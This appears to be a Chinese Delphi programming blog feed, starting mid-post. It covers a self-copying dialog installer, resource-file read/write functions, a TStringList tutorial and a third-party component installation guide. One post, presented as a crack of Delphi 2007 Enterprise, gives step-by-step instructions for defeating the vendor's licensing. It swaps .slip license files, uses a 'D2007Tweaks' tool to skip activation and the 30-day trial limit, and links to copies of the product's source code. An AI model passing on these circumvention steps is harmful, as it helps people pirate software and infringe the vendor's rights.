　　　　　　 MainWin := DlgWin;
　　　　　 end;
　　　　 WM_Close:
　　　　　 begin
　　　　　　 PostQuitMessage(0);
　　　　　　 Exit;
　　　　　 end;
　　　　 WM_COMMAND:
　　　　　 case LOWORD(DlgWParam) of
　　
　　　　　　 ID_Selet:
　　　　　　　 begin
　　　　　　　　 if SelectDirectory(DlgWin, '请选择安装目录', '', Sdir)
　　　　　　　　　 then SendMessage(GetDlgItem(DlgWin, ID_Edit), WM_SETTEXT, 0, lParam(pChar
(Sdir)));
　　　　　　　 end;
　　　　　　 ID_Setup:
　　　　　　　 begin
　　　　　　　　 if My_Gettext = '' then
　　　　　　　　　 begin
　　　　　　　　　　 MessageBox(DlgWin, '请先选择安装文件夹!', '信息', MB_ICONINFORMATION + MB_OK);
　　　　　　　　　　 Exit;
　　　　　　　　　 end;
　　　　　　　　 CopyFile(pchar(ParamStr(0)), pchar(My_Gettext + Getmyname), false);
　　　　　　　　 MessageBox(DlgWin, '安装完毕!', '信息', MB_ICONINFORMATION + MB_OK);
　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 Exit;
　　　　　　　 end;
　　　　　　 ID_Quit:
　　　　　　　 begin
　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 EXIT;
　　　　　　　 end;
　　　　　　 ID_Exit:
　　　　　　　 begin
　　　　　　　　 if MessageBox(DlgWin, '你点击了菜单“退出”，你确定退出程序吗?', '信息',
MB_ICONQUESTION + MB_OKCANCEL) = IDOK then
　　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 Exit;
　　　　　　　 end;
　　　　　 end;
　　　 end;
　　 end;
　　 begin
　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.

飞鸟 2007-05-25 22:39 发表评论

delphi读写程序资源文件

飞鸟 — Wed, 16 May 2007 10:40:00 GMT

在写程序的时候有些功能需要资源文件因此改写MSDN的例子

function readSource(loadFile:PChar;var str:string):Boolean;
var
hres:THandle;
hexe:THandle;
hload:THandle;
pCResLock:PChar;
begin
Result:=True;
hexe:=LoadLibrary(loadFile);
if hexe=0 then
    Result:=False;
hres:= FindResource(hExe, 'Config', RT_RCDATA);
if hres=0 then
    Result:=False;
hload:=LoadResource(hexe,hres);
if hload=0 then
    Result:=False;
pCResLock:=LockResource(hload);
FreeLibrary(hexe);
  str:=string(pCResLock);
ShowMessage(pCResLock);
end;

function updateSource(loadFile:PChar;str:string)Boolean;
var
hUpdateRes :THandle;
begin
Result:=True;
  hUpdateRes:=BeginUpdateResource(loadFile,False);
Result:=UpdateResource(hUpdateRes,
     RT_RCDATA,
     PChar('Config'),
     MakeWord(LANG_NEUTRAL, SUBLANG_NEUTRAL) ,
     PChar(str),
     Length(str)
    );
if Result=True then
    EndUpdateResource(hUpdateRes, FALSE);
end;

飞鸟 2007-05-16 18:40 发表评论

TStringList的用法

飞鸟 — Fri, 11 May 2007 07:47:00 GMT

TStrings是一个抽象类，在实际开发中，是除了基本类型外，应用得最多的。
常规的用法大家都知道，现在来讨论它的一些高级的用法。
先把要讨论的几个属性列出来：
1、CommaText
2、Delimiter & DelimitedText
3、Names & Values & ValueFromIndex
先看第一个：CommaText。怎么用呢？用代码说话：
const
constr :String = 'aaa,bbb,ccc,ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.CommaText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
执行了这段代码后，可以看到ShowMessage显示出来的分别是：aaa bbb ccc ddd。
也就是说，strs.CommaText := constr这一句的作用，就是把一个字符串以','为分割符，分段添加到TStrings中。
那么如果不是以','来分割，又该怎么做呢？现在看第二个例子。使用Delimiter和DelimitedText。
const
constr :String = 'aaa\bbb\ccc\ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
可以看到，显示的效果和第一个例子是一模一样的。解释一下：
Delimiter为分隔符，默认为：','。DelimitedText就是按Delimiter为分隔符的一个串，得到赋值后回把这个字符串按Delimiter的字符添加到TStrings中。
说到这里，有想起一个属性，QuoteChar。其默认值为：'"'（不包括单引号）
有何用呢？看例子：
const
constr :String = '"aaa"\"bbb"\"ccc"\"ddd"';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
显示出来的仍然是aaa bbb ccc ddd。为什么不是："aaa" "bbb" "ccc" "ddd"呢？
再来看一个例子：
const
constr :String = '|aaa|\|bbb|\|ccc|\|ddd|';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.QuoteChar := '|';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
显示出来的又是aaa bbb ccc ddd。对比一下，应该不难明白吧？这个就不多说了，用得也不多。
但是还要多说一句，当Delimiter为：','而QuoteChar为：'"'时，DelimitedText和CommaText是同等的。
最后要说的三个是：Names & Values & ValueFromIndex。
看看下面的代码：
const
constr :String = '0=aaa,1=bbb,2=ccc,3=ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.CommaText := constr;
for i := 0 to strs.Count-1 do
begin
    ShowMessage(strs.Names[i]);
    ShowMessage(strs.Values[strs.Names[i]]);
    ShowMessage(strs.ValueFromIndex[i]);
end;
end;
通过这个例子不难看出：
这个时候strs中的内容是：
0=aaa
1=bbb
2=ccc
3=ddd
而Names中则是：
0
1
2
3
在Values中则是：
aaa
bbb
ccc
ddd

飞鸟 2007-05-11 15:47 发表评论

Delphi2007企业版破解

飞鸟 — Mon, 09 Apr 2007 07:04:00 GMT

delphi2007 SN(key)解决办法

　　这些天相信大家都在忙着下载Delphi 2007吧，我也在第一时间从BT上下载了网上流出的专业版，但就在今天发现官方出了企业版的30天测试版下载，为了追求完美从下午开始对企业版分析，分析结果如下：

一、关于官方的版本
　　官方下载的只是个EXE文件，下载后确认和专业版内的setup.exe是同一文件！其它文件和专业版一样，已经和官方下载的比对过了，这里和M$的Vista一样，是用序列来确定是什么版本的！

0a98a3729f236dd98d5fb3b0a289af63 Setup.exe
0a98a3729f236dd98d5fb3b0a289af63 DELPHI07TRIALSETUP.EXE　　此为官方下载的文件

官方下载地址: http://www.codegear.com/Downloads/TrialandFreeVersions/Delphi/tabid/138/Default.aspx
注: 下载时需要注册一个帐号，其实主要是申请个30天的序列号！！

二、安装Delphi2007
　　删除专业版自带的delphi2007.slip文件(建议备份起来)，不是就无法出现输入序列号的界面，运行setup.exe并用申请来的30天测试序列号安装。完装完成后需要用序列号、申请序列号时用的邮箱地址、密码激活(三样缺一不可)，但这里可以不激活用D2007Tweaks跳过即可；如果激活了以后也可以用D2007Tweaks跳过30天限制(因为用的是30天限制序列号，所以装好后没有源码，下面提供专业版Source目录压缩包下载。)。
D2007Tweaks下载
点击这里下载
专业版Source目录打包
点击这里下载1
点击这里下载2
点击这里下载3
点击这里下载4
Delphi2007 两个30天slip文件：
d2007_Pro.slip 专业版
d2007_Ent.slip 企业版
　　没有序列号的朋友可以用这里提供的企业30天版slip文件进行安装。方法是替换专业版安装目录内的slip文件就可以安装了。
点击这里下载

　　装完后即是企业版了！现在你就可以慢慢体会了！

激活后的Splash界面

三、错误处理
1、安装时提示“Invalid Serial Number”
　　删除C:\Documents and Settings\All Users\Application Data\下的CodeGear目录(此处C为系统盘)！另外有人说不能安装在中文目录下。
2、完装后提示要协议
　　用D2007Tweaks跳过即可。

四、其他发现
1、安装程序会将所有文件解压到下面目录中！
C:\Documents and Settings\XXXX\Local Settings\Application Data\{AB3EC276-D261-4943-A921-1CC1C6799AED}

飞鸟 2007-04-09 15:04 发表评论

BORLAND第三方组件安装方法delphi技术

飞鸟 — Fri, 08 Sep 2006 12:38:00 GMT

不是由BORLAND提供的组件叫第三方组件：
安装方法：
就目前常见的各种形式的组件的安装方法介绍一下。

1 只有一个DCU文件的组件。DCU文件是编译好的单元文件，这样的组件是作者不想把源码公布。一般来说，作者必须说明此组件适合Delphi的哪种版本，如果版本不对，在安装时就会出现错误。也正是因为没有源码，给使用者带来了不便，那就是一旦Delphi版本升级，此组件就不能再使用了，当然有的作者给出了几种版本的DCU文件，用户根据需要选择使用。这样的组件的安装方法是：在Component菜单中，选择install component，在对话框
"into existing package"页中，单击“Unit file name”后的“Browse”按扭，在打开的文件对话框中，将“文件类型”设定为*.dcu，找到要安装的DCU文件，按OK按钮返回"into existing package"页后再按OK按钮就可以安装了。注意，此时Delphi会提示dclusr40.dpk将被重建，是否继续，OK就可以了。这里是将组件安装到dclusr40.dpk包中，此包从文件名上可以看出是用户自定义组件包，先安装到这个包中吧，下面再讲有关注意事项。安装完毕会有已经将组件注册完的提示信息以及安装到哪个组件页中的信息等，到组件面板上看看，一般会出现一个新的组件页，其中有刚安装的组件。

2、只有PAS文件或既有PAS又有DCU文件的组件。这种组件因为有PAS文件，也就是说作者提供了源码，这就好办多了。安装的方法和上面是一样的，在文件类型中可以设定为DCU也可以设定为PAS，建议设定为PAS，这样可用你的Delphi重新编译一下，看是否会出现问题。Delphi升级后只能选择PAS文件安装，这样才能重新编译，使得组件能适应新Delphi版本。这样的组件是很值得使用的，根据心铃的经验，没有源码的组件最好不要使用，一是存在Delphi版本升级后无法使用的问题，再者当程序出现问题后用户无法调试组件来判断是否是组件中存在BUG。

3、有dpk文件的组件包。带有dpk文件的组件包一般是有多个组件构成的，也就是说安装后会有多个组件供使用，如果只有一个组件作者一般不会制成DPK文件，使用上面的方式发布就可以了。对于这样的组件包，一般来说会有详细的安装说明文件，如上面提到的RXLIB，由于组件复杂且安装时有先后顺序，作者不提供安装说明用户根本无法正确安装。如果没有安装说明文件，那么用下面的方法安装：在File菜单下，选择”OPEN…”打开dpk文件(文件类型列表框中选*.dpk)，在出现的Package窗口中，工具栏上有Install按钮，按此按钮即可进行安装。如果Install按钮处于无效状态，那么先按Compile按钮编译，一般来说编译之后Install按钮就会处于有效状态，此时再按Install按钮就可以了。

4、带有Bpl文件的组件包。一般来说这也是由多种组件构成的组件包，它其实是一个动态连接库文件（DLL）。对于这种组件包的安装方法是：在component菜单下选择“install packages”，然后单击Add按钮，在打开的文件对话框中找到相应的bpl文件打开返回后，再单击Ok按钮就可以了。

5、ActiveX控件的安装。要安装这类控件，需要先用regsvr32.exe注册，然后选择Component菜单中Import ActiveX Control项。在Import ActiveX Control打开的窗口中，只有已经注册的ActiveX控件才出现在列表中，选中一个然后按Install按钮就可以安装了。如果事先没有用regsvr32.exe注册也可以按ADD按钮找到OCX文件即时注册，注册后再进行安装。

几点说明：

1 在拿到组件后先看是否有说明文件，一般来说在说明文件中有如何安装的指导，有些还会有组件的属性、事件、方法的使用说明，这些在使用时是非常重要的。

2 在上面的组件（包）安装操作之前，最好将 *.bpl拷贝到你的System目录中，将 *.pas、*.dcu、*.dcr、*.dp?拷贝到Delphi的Lib目录中再进行。

3 前面我们提到安装DCU组件时，选用的是已经存在的dclusr40.dpk，当然也可以选择安装到一个新的包中，如果选择新包，需要先取一个名字比如DEMO，事实上安装完毕后用户可以找到的是Demo.bpl，而找不到DEMO.DPK。假如你已经将一个组件安装到dclusr40.dpk中了，还想再安装一个组件，如果再安装到dclusr40.dpk中，安装后你得到提示，原来安装的那个组件已经被取消注册，你将无法使用了。这样不就成了只能安装一个组件了吗？除非你再安装到一个新的包中才可以两个组件同时使用。当然每安装一个组件生成一个新的BPL文件也未偿不可，但BPL文件就增加许多。能否在dclusr40.dpk中多安装几个组件呢？当然是可以的。方法如下：用File菜单下的OPEN打开dclusr40.dpk文件，单击ADD按钮，在打开的对话框中选择ADD UNIT页面，按Unit file name后的“Browse”按钮打开组件单元文件，OK即可，用此种方法这样可添加多个组件的单元文件，添加完毕，按一下编译按钮，然后再按Install按钮即可，如果单元文件是编译好的（DCU）可以直接按安装按钮。

4 组件的删除。光会安装可不行，还要会删除呀。很简单，在component菜单下，选择install packages，在列表中找到安装所在的Bpl，按Remove按钮，ok！再把Bpl文件删掉就彻底了，如果不删除BPL文件，下次可以按安装BPL组件的方法再安装使用

飞鸟 2006-09-08 20:38 发表评论